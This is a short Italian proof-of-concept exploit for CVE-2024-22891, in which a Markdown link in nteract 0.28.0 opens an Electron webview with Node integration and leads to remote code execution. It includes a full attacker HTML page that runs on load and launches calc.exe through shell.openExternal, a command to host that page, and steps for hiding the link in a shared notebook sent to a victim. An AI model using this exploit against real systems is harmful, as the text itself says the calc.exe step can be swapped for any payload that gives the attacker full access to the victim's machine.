
nteract 0.28.0 exploit open redirect verso RCE
Una prova di concetto per la vulnerabilità CVE-2024-22891.
nteract 0.28.0 consente la webview Electron tramite link Markdown, con conseguente esecuzione di codice in remoto.
nteract 0.28.0 consente la webview Electron tramite link Markdown, con conseguente esecuzione di codice in remoto (poiché nodeIntegration in webPreferences è true).
Spiegazione dell'exploit
Passo 1) L'attaccante crea un server con il codice sorgente per avviare calc.exe usando la funzione openExternal().
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
Nota: ※ Se vuoi testarlo rapidamente, crea un server sul PC dell'attaccante con il seguente codice.
$ python -m http.server 80
Passo 2) Esegui l'applicazione nteract sul sistema della vittima e crea un link Markdown, oppure condividi il file ipynb dell'attaccante come codice di esempio. Quindi, esegui calc.exe.
[Read This] (http://[attcker_adress]/shard_data.html)

Quando si esegue un file .ipynb tramite la condivisione di file, prestare attenzione perché il collegamento potrebbe non essere visibile. Questo calc.exe avrebbe potuto essere qualsiasi payload dannoso, locale o remoto, che avrebbe potuto dare all'attaccante pieno accesso al sistema della vittima.